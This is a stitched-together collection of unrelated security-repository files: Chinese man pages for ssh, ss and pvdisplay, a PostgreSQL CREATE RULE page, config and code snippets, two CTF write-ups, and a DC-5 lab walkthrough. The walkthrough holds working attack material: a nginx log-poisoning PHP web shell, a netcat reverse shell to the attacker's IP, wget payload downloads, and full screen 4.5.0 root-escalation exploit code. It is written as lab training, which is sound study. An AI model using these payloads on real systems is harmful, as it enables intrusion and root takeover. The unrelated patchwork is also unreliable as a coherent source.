可以用它获取初始参数. .It Ev SSH_TTY 设置为关联当前 shell 或命令的终端名字(设备的路径). 如果会话没有终端, 就不设置这个变量. .It Ev TZ 如果启动后台进程(daemon)时设置了时区, 就设置这个时区变量, 指出现在的时区 (就是说, 后台进程会把这个变量传给新建连接). .It Ev USER 设置为登录的用户名. .El .Pp 另外, 如果允许用户改变他们的环境数据, 而且有 .Pa $HOME/.ssh/environment 这个文件, .Nm 将读取其中数据, 把 .Dq VARNAME=value 这种格式的数据行添加进环境数据区. 另见 .Xr sshd_config 5 的 .Cm PermitUserEnvironment 选项. .Sh "文件 (FILES)" .Bl -tag -width Ds .It Pa $HOME/.ssh/known_hosts 主机密钥的记录, 记录有用户登录上来, 但是没有列在 .Pa /etc/ssh/ssh_known_hosts 中的主机. 参见 .Xr sshd 8 . .It Pa $HOME/.ssh/identity, $HOME/.ssh/id_dsa, $HOME/.ssh/id_rsa 包含了用户的身份信息. 它们分别是协议第一版的 RSA, 协议第二版的 DSA, 协议第二版的 RSA. 这些文件存有敏感信息, 只应由该用户读取, 不允许其他用户 访问(读/写/执行). 注意, 如果一个私钥文件能够让其他用户访问, .Nm 将忽略这个文件. 在生成密钥的时候可以指定一个密语(passphrase), 用这个密语和 3DES 加密文件的敏感部分. .It Pa $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub, $HOME/.ssh/id_rsa.pub 包含认证用的公钥 (以文本格式保存的身份文件的公开部分). 如果用户希望用协议第一版的 RSA 认证登录这些机器, .Pa $HOME/.ssh/identity.pub 的内容应该添加到所有机器的 .Pa $HOME/.ssh/authorized_keys 中. 如果用户希望用协议第二版的 DSA/RSA 认证登录这些机器, .Pa $HOME/.ssh/id_dsa.pub 和 .Pa $HOME/.ssh/id_rsa.pub 的内容应该添加到所有机器的 .Pa $HOME/.ssh/authorized_keys 中. 这些文件没有敏感数据, 可以(但不是必须)让任何人读取. ssh 绝不会自动访问这些文件, 它们也不是不可或缺; 只是为了用户方便才提供这些文件. .It Pa $HOME/.ssh/config 用户级配置文件. .Xr ssh_config 5 描述了文件格式及其配置选项. .It Pa $HOME/.ssh/authorized_keys 存放 RSA/DSA 公钥, 用户通过它登录机器. .Xr sshd 8 手册页描述了这个文件的格式. 最简单的文件格式和 .pub 身份文件一样. 文件内容并非高度敏感, 但是仍然建议仅让此文件的用户读写, 而拒绝其他用户的访问. .It Pa /etc/ssh/ssh_known_hosts 已知的主机密钥的系统级列表. 系统管理员应该准备好这个文件, 把所需主机的公钥 保存在文件里面. 这个文件应该能够全局读取. 文件中一行一支公钥, 格式是 (字段用空格隔开): 系统名字, 公钥, 可选的注释域. 如果同一个机器使用了多个名字, 所有名字都应该(用逗号隔开)列出来. 文件格式在 .Xr sshd 8 手册页中有描述. .Pp 登录的时候, .Xr sshd 8 用规范的系统名字(名字服务器返回的)确认客户机; 其他名字也需要, 因为校验密钥前 .Nm 不会把用户提供的名字转换为规范名字, 防止能够操作名字服务器的人欺骗主机认证. .It Pa /etc/ssh/ssh_config 系统级配置文件. .Xr ssh_config 5 描述了文件格式和配置选项. .It Pa /etc/ssh/ssh_host_key, /etc/ssh/ssh_host_dsa_key, /etc/ssh/ssh_host_rsa_key 这三个文件包含了主机密钥的私有部分, 它们用于 .Cm RhostsRSAAuthentication 和 .Cm HostbasedAuthentication . 如果使用了协议第一版的 .Cm RhostsRSAAuthentication 方法, .Nm 必须是 setuid root, 因为只有 root 才能读取主机密钥. 而对于协议第二版的 .Cm HostbasedAuthentication 方法, .Nm 使用 .Xr ssh-keysign 8 访问主机密钥. 这样消除了验证身份时对 .Nm setuid root 的要求. 默认情况下 .Nm 不是 setuid root. .It Pa $HOME/.rhosts 该文件用于 .Pa \&.rhosts 认证, 里面列出允许登录的主机/用户对. (注意 rlogin 和 rsh 也使用这个文件, 导致这个文件的应用变得不安全) 文件中的每一行包括一个主机名字(用名字服务器返回的规范名字), 和主机上的 用户名字, 用空格隔开. 某些机器上, 如果用户根目录位于 NFS 分区, 这个文件可能需要全局可读, 因为 .Xr sshd 8 以 root 身份读它. 此外, 该文件必须属于这个用户, 其他人不允许持有写权限. 对大多数机器推荐的访问权限是, 它的用户可以读写, 而不让其他人访问. .Pp 注意, 默认情况下会安装 .Xr sshd 8 , 因此在允许 \s+2.\s0rhosts 认证前, .Xr sshd 8 要求成功进行了 RSA 主机验证. 如果没有 .Pa /etc/ssh/ssh_known_hosts 文件存放客户的主机密钥, 密钥可以存放在 .Pa $HOME/.ssh/known_hosts 中. 最简单的做法是用 ssh 从服务器回连客户机; 这样会自动把主机密钥添加到 .Pa $HOME/.ssh/known_hosts . .It Pa $HOME/.shosts 这个文件的用法和 .Pa \&.rhosts 完全一样. 它的目的是允许 .Nm 做 rhosts 认证的同时防止 .Nm rlogin 或 .Xr rsh 1 登录. .It Pa /etc/hosts.equiv .Pa \&.rhosts 认证 使用这个文件. 它包含规范的主机名字, 一行一个( .Xr sshd 8 手册页描述了完整的格式). 如果文件中发现了客户机的名字, 而且客户机和服务器的用户名相同, 则自动允许登录. 另外, 一般情况下要求 RSA 主机认证成功. 这个文件只应该让 root 可写. .It Pa /etc/ssh/shosts.equiv 这个文件的用法和 .Pa /etc/hosts.equiv 完全一样. 用于允许 .Nm 登录, 但不允许 rsh/rlogin 的时候. .It Pa /etc/ssh/sshrc 当用户登录后, 运行 shell (或命令)前, .Nm 执行这个文件中的命令. 详见 .Xr sshd 8 手册页. .It Pa $HOME/.ssh/rc 当用户登录后, 运行 shell (或命令)前, .Nm 执行这个文件中的命令. 详见 .Xr sshd 8 手册页. .It Pa $HOME/.ssh/environment 含有关于环境变量的附加定义, 另见前面的 .Sx ENVIRONMENT 节. .El .Sh "诊断 (DIAGNOSTICS)" .Nm 结束时的状态码就是远端命令结束时的返回码, 如果发生了错误就返回255. .Sh "作者 (AUTHORS)" OpenSSH 源自最初 Tatu Ylonen 发表的自由 ssh 1.2.12. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt 和 Dug Song 消除了许多 BUGS, 增加新的特征, 从而创建了 OpenSSH. Markus Friedl 贡献了对 SSH 协议1.5版和2.0版的支持. .Sh "另见 (SEE ALSO)" .Xr rsh 1 , .Xr scp 1 , .Xr sftp 1 , .Xr ssh-add 1 , .Xr ssh-agent 1 , .Xr ssh-keygen 1 , .Xr telnet 1 , .Xr ssh_config 5 , .Xr ssh-keysign 8 , .Xr sshd 8 .Rs .%A T. Ylonen .%A T. Kivinen .%A M. Saarinen .%A T. Rinne .%A S. Lehtinen .%T "SSH Protocol Architecture" .%N draft-ietf-secsh-architecture-12.txt .%D January 2002 .%O work in progress material .Re .Sh "[中文版维护人]" 徐明 <xuming@users.sourceforge.net> .Sh "[中文版最新更新]" 2004/06/11 第一版 .Sh "《中国Linux论坛man手册页翻译计划》" http://cmpp.linuxforum.net
sec-knowleage
# These are supported funding model platforms github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: neversec tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: https://i.loli.net/2019/06/27/5d143a61aff1849018.jpg
sec-knowleage
pvdisplay === 显示物理卷的属性 ## 补充说明 **pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 ### 语法 ```shell pvdisplay(选项)(参数) ``` ### 选项 ```shell -s:以短格式输出; -m:显示PE到LE的映射。 ``` ### 参数 物理卷:要显示的物理卷对应的设备文件名。 ### 实例 使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令: ```shell [root@localhost ~]# pvdisplay /dev/sdb1 #显示物理卷基本信息 ``` 输出信息如下: ```shell "/dev/sdb1" is a new physical volume of "101.94 MB" --- NEW Physical volume --- PV Name /dev/sdb1 ....省略部分输出内容...... PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE RULE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE RULE \- 定义一个新的重写规则 .SH SYNOPSIS .sp .nf CREATE [ OR REPLACE ] RULE \fIname\fR AS ON \fIevent\fR TO \fItable\fR [ WHERE \fIcondition\fR ] DO [ INSTEAD ] { NOTHING | \fIcommand\fR | ( \fIcommand\fR ; \fIcommand\fR ... ) } .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE RULE\fR 定义一个适用于特定表或者视图的新规则。 CREATE OR REPLACE RULE 要么是创建一个新规则, 要么是用一个同表上的同名规则替换现有规则。 .PP PostgreSQL规则系统允许我们在从数据库或表中更新, 插入或删除东西时定义一个其它的动作来执行。 简单说,规则就是当我们在指定的表上执行指定的动作的时候,导致一些额外的动作被执行。 另外,规则可以用另外一个命令取代某个特定的命令,或者令命令完全不被执行。 规则还用于实现表视图。我们要明白的是规则实际上只是一个命令转换机制,或者说命令宏。 这种转换发生在命令开始执行之前。如果你实际上想要一个为每个物理行独立发生的操作, 那么你可能还是要用一个触发器,而不是规则。有关规则的更多信息可以在 ``The Rule System'' 找到。 .PP 目前,ON SELECT 规则必须是无条件的 INSTEAD 规则并且必须有一个由一条 SELECT 查询组成的动作。 因此,一条 ON SELECT 规则有效地把对象表转成视图, 它的可见内容是规则的 SELECT 查询返回的记录而不是存储在表中的内容(如果有的话)。 我们认为写一条 CREATE VIEW 命令比创建一个表然后定义一条 ON SELECT 规则在上面的风格要好。 .PP 你可以创建一个可以更新的视图的幻觉, 方法是在视图上定义 ON INSERT,ON UPDATE,和 ON DELETE 规则(或者满足你需要的任何上述规则的子集),用合适的对其它表的更新替换在视图上更新的动作。 .PP 如果你想在视图更新上使用条件规则,那么这里就有一个补充: 对你希望在视图上允许的每个动作,你都必须有一个无条件的 INSTEAD 规则。 如果规则是有条件的,或者它不是 INSTEAD, 那么系统仍将拒绝执行更新动作的企图,因为它认为它最终会在某种程度上在虚拟表上执行动作。 如果你想处理条件规则上的所由有用的情况,那也可以;只需要增加一个无条件的 DO INSTEAD NOTHING 规则确保系统明白它将决不会被调用来更新虚拟表就可以了。 然后把条件规则做成非 INSTEAD;在这种情况下,如果它们被触发,那么它们就增加到缺省的 INSTEAD NOTHING 动作中。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 创建的规则名。它必须在同一个表上的所有规则的名字中唯一。 同一个表上的同一个事件类型的规则是按照字母顺序运行的。 .TP \fB\fIevent\fB\fR 事件是 SELECT, UPDATE,DELETE 或 INSERT 之一。 .TP \fB\fItable\fB\fR 规则施用的表或者视图的名字(可以有模式修饰)。 .TP \fB\fIcondition\fB\fR 任意 SQL 条件表达式(返回 boolean)。 条件表达式除了引用 NEW 和 OLD 之外不能引用任何表,并且不能有聚集函数。 .TP \fB\fIcommand\fB\fR 组成规则动作的命令。有效的命令是 SELECT,INSERT, UPDATE,DELETE,或 NOTIFY 语句之一。 .PP 在 condition 和 command 里, 特殊表名字 NEW 和 OLD 可以用于指向被引用表里的数值 new 在 ON INSERT 和 ON UPDATE 规则里可以指向被插入或更新的新行。 OLD 在 ON UPDATE,和 ON DELETE 规则里可以指向现存的被更新,或者删除的行。 .PP .SH "NOTES 注意" .PP 为了在表上定义规则,你必须有 RULE 权限。 .PP 有一件很重要的事情是要避免循环规则。 比如,尽管下面两条规则定义都是 PostgreSQL 可以接受的, 但一条 SELECT 命令会导致 PostgreSQL 报告一条错误信息,因为该查询循环了太多次: .sp .nf CREATE RULE "_RETURN" AS ON SELECT TO t1 DO INSTEAD SELECT * FROM t2; CREATE RULE "_RETURN" AS ON SELECT TO t2 DO INSTEAD SELECT * FROM t1; SELECT * FROM t1; .sp .fi .PP 目前,如果一个规则包含一个 NOTIFY 查询,那么该 NOTIFY 将被无条件执行 --- 也就是说,如果规则不施加到任何行上头, 该 NOTIFY 也会被发出。比如,在 .sp .nf CREATE RULE notify_me AS ON UPDATE TO mytable DO NOTIFY mytable; UPDATE mytable SET name = 'foo' WHERE id = 42; .sp .fi 里,一个 NOTIFY 事件将在 UPDATE 的时候发出,不管是否有某行的 id = 42。这是一个实现的限制,将来的版本应该修补这个毛病。 .SH "COMPATIBILITY 兼容性" .PP \fBCREATE RULE\fR 是 PostgreSQL 语言的扩展,整个规则系统也是如此。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
version: '2' services: web: image: vulhub/confluence:6.10.2 ports: - "8090:8090" depends_on: - db db: image: postgres:10.7-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
sec-knowleage
# Bad Computations (Crypto, 800p) In the task we get [crypto code](crypt.py) and encrypted flag: `hnd/goJ/e4h1foWDhYOFiIZ+f3l1e4R5iI+Gin+FhA==` We proceed with labelling the poorly obfuscated functions. It's quite clear we have there something like: `primes_in_range`, `prime_sieve`, `extended_gcd` and `mod_inv`. Next we proceed to label the flag encryption procedure and it's easy to notice that it's Paillier Cryptosystem. So once we label the code we end up with: ```python flag_bytes = [ord(x) for x in flag] paillier_encrypted_constant = paillier_encrypt(b, g, n, r) for i in range(len(flag_bytes)): flag_bytes[i] = (paillier_encrypt(flag_bytes[i], g, n, r) * paillier_encrypted_constant) % (n * n) flag_bytes[i] = paillier_decrypt(flag_bytes[i], [p, q], g) flag_bytes = b64encode(bytearray(flag_bytes)) print(str(flag_bytes)[2:-1]) ``` So in reality encrypted flag byte is multiplied by encrypted constant and later decrypted. But Paillier has homomorphic properties. We can calculate `encrypt(plaintext1 * plaintext2)` by doing `encrypt(plaintex1)^plaintext2 mod n^2` and we can calculate `encrypt(plaintext1 + plaintext2)` by doing `encrypt(plaintex1) * encrypt(plaintex2)`. Here we have the second option, so in reality the encryption code is just doing: `decrypt(encrypt(flag[i]) * encrypt(22)) = decrypt(encrypt(flag[i]+22)) = flag[i] + 22` So we can simply run: ```python print("".join([chr(ord(c) - 22) for c in 'hnd/goJ/e4h1foWDhYOFiIZ+f3l1e4R5iI+Gin+FhA=='.decode("base64")])) ``` to get the flag: `paillier_homomorphic_encryption` I fail to see how this is worth 800p.
sec-knowleage
/* * Copyright 2014 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.springdata.rest.headers; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.Id; import lombok.Data; import lombok.RequiredArgsConstructor; /** * @author Oliver Gierke */ @Entity @Data @RequiredArgsConstructor public class Address { @GeneratedValue @Id// private Long id; public final String street, zipCode, city, state; Address() { this.street = null; this.zipCode = null; this.city = null; this.state = null; } /* * (non-Javadoc) * @see java.lang.Object#toString() */ public String toString() { return String.format("%s, %s %s, %s", street, zipCode, city, state); } }
sec-knowleage
# DC5-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-5,314/ **Description** DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback). As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve. And just for the record, there is no phpmailer exploit involved. :-) The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward. But if you're really, really stuck, you can watch this video which shows the first step. **Technical Information** DC-5 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs. I have tested this on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this. It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP. Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go. **知识点** - Get 参数 Fuzz (中期) - LFI (中期) - 日志中毒攻击 (中期) - screen 4.5.0 提权 (后期) **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.139` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.139 ``` 三个端口,一个 web,两个 rpc,先从熟悉的 web 入手 都是一堆狗屁不通的东西,只在 contact 中找到可以交互的点,填写表单试试 随便提交了一些数据,被定向到了 `thankyou.php` 下,页面上看上去啥也没有,不过 url 参数中貌似可以 fuzz 一下 --- # 中期-漏洞利用 仔细查看链接 `http://192.168.141.139/thankyou.php?firstname=11%3Cb%3E1&lastname=21%3Cb%3E1&country=australia&subject=1%3Cb%3E1` 存在 firstname lastname country subject 四个参数,分别修改、替换,发现这些参数的值无论怎么改都不会有变化,但是修改这些参数本身,页面会变动。那就好办了,别 Fuzz 这4个参数的值,直接 Fuzz 出是否有可利用的其他参数就是了 联想到网页是 php 写的,加上这种参数的地方很可能会出现的漏洞就是文件包含、文件下载等 直接使用 burp 跑参数字典+文件包含字典 字典不要选错,Linux 的靶机选择 Linux 的 LFI Payload 字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Payload/LFI/LFI_Linux.txt 参数字典选择常见的 GET 参数字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api%26params/GET_params_Top99.txt 使用 burp 开始跑 可见,跑出一个参数 file,基本可以确认这里存在一个文件包含漏洞了 这里也可以使用 wfuzz 跑,就不演示了 ``` wfuzz -w GET_params_Top99.txt -w LFI_Linux.txt --hh 851 -u http://192.168.141.139/thankyou.php?FUZZ=FUZ2Z ``` 既然有了文件包含漏洞下面就想办法拿 shell,这里可以配合日志进行命令执行 (日志中毒攻击) 先找到日志文件,Linux+php+Nginx 环境,老规矩,爆破 Nginx 日志 运气不错,就拿 `/var/log/nginx/access.log` 开刀了 访问 `http://192.168.141.139` 抓包,在 User-Agent: 中添加 payload: `<?php phpinfo() ?>` 测试 再次访问 `http://192.168.141.139/thankyou.php?file=/var/log/nginx/access.log` 访问 `http://192.168.141.139` 抓包,在 User-Agent: 中添加 payload: `<?php system($_GET['cmd']) ?>` kali 开启 nc 监听 ```bash nc -nlvp 4444 ``` 访问 `http://192.168.141.139/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.141.134 4444 -e /bin/bash` 测试 弹回来了 --- # 后期-提权 升级下 ```bash python -c 'import pty; pty.spawn("/bin/bash")' ``` 找带 suid 的文件 ```bash find / -perm -u=s 2>/dev/null ``` 在 searchsploit 里找到了一个可以提权的,版本正好是 Screen 4.5.0 ``` searchsploit -w screen 4.5.0 ``` 访问 https://www.exploit-db.com/exploits/41154 下载 POC kali 上发送 ``` nc -nlvp 6666 < 41154.sh ``` 靶机上接收,并运行 ```bash cd /tmp nc 192.168.141.134 6666 > 41154.sh sh 41154.sh ``` 等了半天,没有提成功,网上搜了下,其他人的做法是将 poc 拆分开来运行,照着试试看 在 kali 下运行 ```bash tee libhax.c <<-'EOF' #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF tee rootshell.c <<-'EOF' #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c gcc -o ./rootshell ./rootshell.c ``` 把编译好的 libhax.so 和 rootshell 从 kali 传给 靶机 ``` python -m SimpleHTTPServer 8080 ``` ``` cd /tmp wget 192.168.141.134:8080/libhax.so;wget 192.168.141.134:8080/rootshell ``` 运行 poc ``` cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" screen -ls /tmp/rootshell whoami ``` 提权成功,感谢靶机作者 @DCUA7
sec-knowleage
## 漏洞分析工具 |Vulnerability Analysis|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[BBQSQL](BBQSQL.md)|[BED](BED.md)|[cisco-auditing-tool](cisco-auditing-tool.md)|[cisco-global-exploiter](cisco-global-exploiter.md)||[cisco-ocs](cisco-ocs.md)| |[cisco-torch](cisco-torch.md)|[copy-router-config](copy-router-config,md)|DBPwAudit|[Doona](Doona.md)|DotDotPwn|Greenbone Security Assistant| |GSD|HexorBase|Inguma|jSQL|Lynis|Nmap| |ohrwurm|openvas-administrator|openvas-cli|openvas-manager|openvas-scanner|Oscanner| |Powerfuzzer|sfuzz|SidGuesser|SIPArmyKnife|sqlmap|Sqlninja| |sqlsus|THC-IPV6|tnscmd10g|unix-privesc-check||Yersinia|
sec-knowleage
ss === 比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息 ## 补充说明 **ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接`cat /proc/net/tcp`,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。 天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。 ### 语法 ```shell ss [参数] ss [参数] [过滤] ``` ### 选项 ```shell -h, --help 帮助信息 -V, --version 程序版本信息 -n, --numeric 不解析服务名称 -r, --resolve 解析主机名 -a, --all 显示所有套接字(sockets) -l, --listening 显示监听状态的套接字(sockets) -o, --options 显示计时器信息 -e, --extended 显示详细的套接字(sockets)信息 -m, --memory 显示套接字(socket)的内存使用情况 -p, --processes 显示使用套接字(socket)的进程 -i, --info 显示 TCP内部信息 -s, --summary 显示套接字(socket)使用概况 -4, --ipv4 仅显示IPv4的套接字(sockets) -6, --ipv6 仅显示IPv6的套接字(sockets) -0, --packet 显示 PACKET 套接字(socket) -t, --tcp 仅显示 TCP套接字(sockets) -u, --udp 仅显示 UCP套接字(sockets) -d, --dccp 仅显示 DCCP套接字(sockets) -w, --raw 仅显示 RAW套接字(sockets) -x, --unix 仅显示 Unix套接字(sockets) -f, --family=FAMILY 显示 FAMILY类型的套接字(sockets),FAMILY可选,支持 unix, inet, inet6, link, netlink -A, --query=QUERY, --socket=QUERY QUERY := {all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY] -D, --diag=FILE 将原始TCP套接字(sockets)信息转储到文件 -F, --filter=FILE 从文件中都去过滤器信息 FILTER := [ state TCP-STATE ] [ EXPRESSION ] ``` ### 实例 ```shell ss -t -a # 显示TCP连接 ss -s # 显示 Sockets 摘要 ss -l # 列出所有打开的网络连接端口 ss -pl # 查看进程使用的socket ss -lp | grep 3306 # 找出打开套接字/端口应用程序 ss -u -a 显示所有UDP Sockets ss -o state established '( dport = :smtp or sport = :smtp )' # 显示所有状态为established的SMTP连接 ss -o state established '( dport = :http or sport = :http )' # 显示所有状态为Established的HTTP连接 ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 193.233.7/24 # 列举出处于 FIN-WAIT-1状态的源端口为 80或者 443,目标网络为 193.233.7/24所有 tcp套接字 # ss 和 netstat 效率对比 time netstat -at time ss # 匹配远程地址和端口号 # ss dst ADDRESS_PATTERN ss dst 192.168.1.5 ss dst 192.168.119.113:http ss dst 192.168.119.113:smtp ss dst 192.168.119.113:443 # 匹配本地地址和端口号 # ss src ADDRESS_PATTERN ss src 192.168.119.103 ss src 192.168.119.103:http ss src 192.168.119.103:80 ss src 192.168.119.103:smtp ss src 192.168.119.103:25 ``` **将本地或者远程端口和一个数比较** ```shell # ss dport OP PORT 远程端口和一个数比较; # ss sport OP PORT 本地端口和一个数比较 # OP 可以代表以下任意一个: # <= or le : 小于或等于端口号 # >= or ge : 大于或等于端口号 # == or eq : 等于端口号 # != or ne : 不等于端口号 # < or gt : 小于端口号 # > or lt : 大于端口号 ss sport = :http ss dport = :http ss dport \> :1024 ss sport \> :1024 ss sport \< :32000 ss sport eq :22 ss dport != :22 ss state connected sport = :http ss \( sport = :http or sport = :https \) ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24 ``` **用TCP 状态过滤Sockets** ```shell ss -4 state closing # ss -4 state FILTER-NAME-HERE # ss -6 state FILTER-NAME-HERE # FILTER-NAME-HERE 可以代表以下任何一个: # established、 syn-sent、 syn-recv、 fin-wait-1、 fin-wait-2、 time-wait、 closed、 close-wait、 last-ack、 listen、 closing、 # all : 所有以上状态 # connected : 除了listen and closed的所有状态 # synchronized :所有已连接的状态除了syn-sent # bucket : 显示状态为maintained as minisockets,如:time-wait和syn-recv. # big : 和bucket相反. ``` **显示ICP连接** ```shell [root@localhost ~]# ss -t -a State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 0 *:3306 *:* LISTEN 0 0 *:http *:* LISTEN 0 0 *:ssh *:* LISTEN 0 0 127.0.0.1:smtp *:* ESTAB 0 0 112.124.15.130:42071 42.156.166.25:http ESTAB 0 0 112.124.15.130:ssh 121.229.196.235:33398 ``` **显示 Sockets 摘要** ```shell [root@localhost ~]# ss -s Total: 172 (kernel 189) TCP: 10 (estab 2, closed 4, orphaned 0, synrecv 0, timewait 0/0), ports 5 Transport Total ip IPv6 * 189 - - RAW 0 0 0 UDP 5 5 0 TCP 6 6 0 INET 11 11 0 FRAG 0 0 0 ``` 列出当前的established, closed, orphaned and waiting TCP sockets **列出所有打开的网络连接端口** ```shell [root@localhost ~]# ss -l Recv-Q Send-Q Local Address:Port Peer Address:Port 0 0 *:3306 *:* 0 0 *:http *:* 0 0 *:ssh *:* 0 0 127.0.0.1:smtp *:* ``` **查看进程使用的socket** ```shell [root@localhost ~]# ss -pl Recv-Q Send-Q Local Address:Port Peer Address:Port 0 0 *:3306 *:* users:(("mysqld",1718,10)) 0 0 *:http *:* users:(("nginx",13312,5),("nginx",13333,5)) 0 0 *:ssh *:* users:(("sshd",1379,3)) 0 0 127.0.0.1:smtp *:* us ``` **找出打开套接字/端口应用程序** ```shell [root@localhost ~]# ss -pl | grep 3306 0 0 *:3306 *:* users:(("mysqld",1718,10)) ``` **显示所有UDP Sockets** ```shell [root@localhost ~]# ss -u -a State Recv-Q Send-Q Local Address:Port Peer Address:Port UNCONN 0 0 *:syslog *:* UNCONN 0 0 112.124.15.130:ntp *:* UNCONN 0 0 10.160.7.81:ntp *:* UNCONN 0 0 127.0.0.1:ntp *:* UNCONN 0 0 *:ntp *:* ``` **出所有端口为 22(ssh)的连接** ```shell [root@localhost ~]# ss state all sport = :ssh Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp LISTEN 0 128 *:ssh *:* tcp ESTAB 0 0 192.168.0.136:ssh 192.168.0.102:46540 tcp LISTEN 0 128 :::ssh :::* ``` **查看TCP的连接状态** ```shell [root@localhost ~]# ss -tan|awk 'NR>1{++S[$1]}END{for (a in S) print a,S[a]}' LISTEN 7 ESTAB 31 TIME-WAIT 28 ```
sec-knowleage
# Robots Rule Web, 100 points ## Description: A website was linked to. ```html <html> <head> <style> div {text-align: center;} img {display: block; margin-left: auto; margin-right: auto; height: 45%; width: 35%} html {height: 100%; background: url(Background.jpg) no-repeat center center; background-size: cover; } </style> </head> <body> <div> <h1>DOWN WITH ROBOTS!</h1> </div> <img src="Not_A_Robot.png"> <div> <h1>HUMANS ARE THE BEST!</h1> </div> <img src="Down_With_Robots.gif"> </body> </html> ``` ## Solution: The title is a pretty thick hint to go check out `robots.txt`: ```console root@kali:/media/sf_CTFs/tamu/Robots_Rule# curl http://web5.tamuctf.com/robots.txt User-agent: * WHAT IS UP, MY FELLOW HUMAN! HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?! YOU CAN TELL ME, A FELLOW NOT-A-ROBOT! ``` The whole theme of the site is too anti-robot-pro-human. They also mention Google-Bot. What will happen if we try to access the site as a Google Bot instead, will we still get such anti-robot propaganda? ```console root@kali:~# curl -A "Googlebot" http://web5.tamuctf.com/robots.txt User-agent: * THE HUMANS SUSPECT NOTHING! HERE IS THE SECRET INFORMATION: gigem{be3p-bOop_rob0tz_4-lyfe} LONG LIVE THE GOOGLEBOTS! ```
sec-knowleage
